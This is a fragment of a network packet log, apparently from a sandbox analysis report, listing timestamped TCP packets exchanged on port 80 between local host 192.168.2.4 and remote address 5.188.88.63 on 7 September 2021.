Sep 7, 2021 16:02:40.192595959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192939997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.192991018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.193061113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.193073034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.193101883 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.193772078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.193809032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194113970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194139004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194274902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194395065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194418907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194437981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194458008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194463015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.194477081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194514036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194521904 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.194526911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.194530964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.194535971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194544077 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.194555044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.194561005 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.194693089 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.199235916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.199366093 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.202909946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.202939034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.202959061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.202980995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.203001976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.203071117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.203138113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.203178883 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.203181982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.205559015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.205589056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.205610037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.205630064 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.207532883 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.207555056 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.217403889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.217442036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.217461109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.217572927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.217595100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.217614889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.217674017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.217919111 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.217943907 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.218261957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.218323946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.218368053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.218574047 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.218581915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.218780041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.218836069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.219389915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.219463110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.219487906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.219506979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.219527960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.219651937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.219711065 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.219717979 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.220156908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.220181942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.220777035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.220803022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.220874071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.220897913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.220947027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.220988989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.220993042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.221009970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.221014977 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.221018076 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.221023083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.221328020 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.222719908 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.222894907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.222924948 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.222991943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223017931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223047972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223071098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223093033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223150969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223179102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223185062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223186016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223187923 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223359108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223385096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223403931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223428965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223449945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223470926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223505020 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223535061 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223540068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223545074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223592043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223614931 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223617077 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223639965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223664999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223690033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223712921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223736048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.223751068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223756075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.223833084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.224035978 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224313021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224334955 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224389076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224410057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224415064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.224445105 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.224447012 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.224509954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224694014 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224711895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224762917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.224838018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.225342989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.225393057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.226306915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226336956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226361036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226382971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226403952 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226428032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226452112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226475000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226500988 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226525068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226548910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226552010 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.226567984 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.226573944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.226576090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226578951 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.226583958 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.226588011 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.226599932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226624012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226643085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226659060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226682901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226703882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226730108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226753950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.226979971 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227000952 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227008104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227104902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227147102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227168083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227221012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227256060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227279902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227303028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227324963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227351904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227356911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227380037 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227385998 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227391958 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227396965 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.227613926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227639914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227663040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227688074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227711916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227736950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227758884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.227972031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.228022099 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.228055000 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.228060961 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.228733063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.229227066 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.251172066 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.252466917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.252604961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.252629042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.252651930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.252675056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.252695084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.252986908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.253127098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.253150940 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.253156900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.253165007 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.253168106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.253196955 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.253216982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.253396034 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.253458023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.253479958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.253721952 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.254134893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.254177094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.254287958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.254331112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.254513979 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.254535913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.254831076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.254857063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.254878998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.254898071 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.255358934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.255384922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.255405903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.255456924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.255481958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.255485058 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.255491972 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.255503893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.256340981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.258955956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.261214018 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.266056061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266123056 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266143084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266156912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266174078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266190052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266211033 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.266238928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.266457081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266475916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266490936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.266702890 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.269073963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.271946907 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.275156021 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.278197050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278273106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278291941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278309107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278326988 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278343916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278364897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278384924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278400898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.278611898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.278635025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.278639078 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.278996944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.279087067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.279144049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.279221058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.279465914 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.279483080 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.279696941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.279717922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.279735088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.279752016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.279813051 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.279838085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.280730963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.280761003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.280783892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.280910015 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.280980110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281040907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281069994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281085014 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281101942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281120062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281152010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281169891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281189919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281208992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.281351089 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.281373978 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.281378984 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.281382084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.281385899 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.283602953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.283862114 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.283911943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.283935070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.283951044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.283967972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.283982992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284012079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.284044027 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.284188032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284207106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284224033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284255981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284275055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284277916 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.284284115 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.284295082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284312010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.284351110 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.284377098 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.285219908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285567045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285587072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285617113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285645962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285664082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285672903 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.285716057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.285721064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.285737038 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285753965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285860062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.285892963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.286205053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286222935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286288023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286303997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286314964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.286333084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286349058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286355972 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.286379099 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.286379099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286398888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.286465883 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.286942005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.287005901 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.287075996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.287168980 CEST	80	49744	5.188.88.63	192.168.2.4
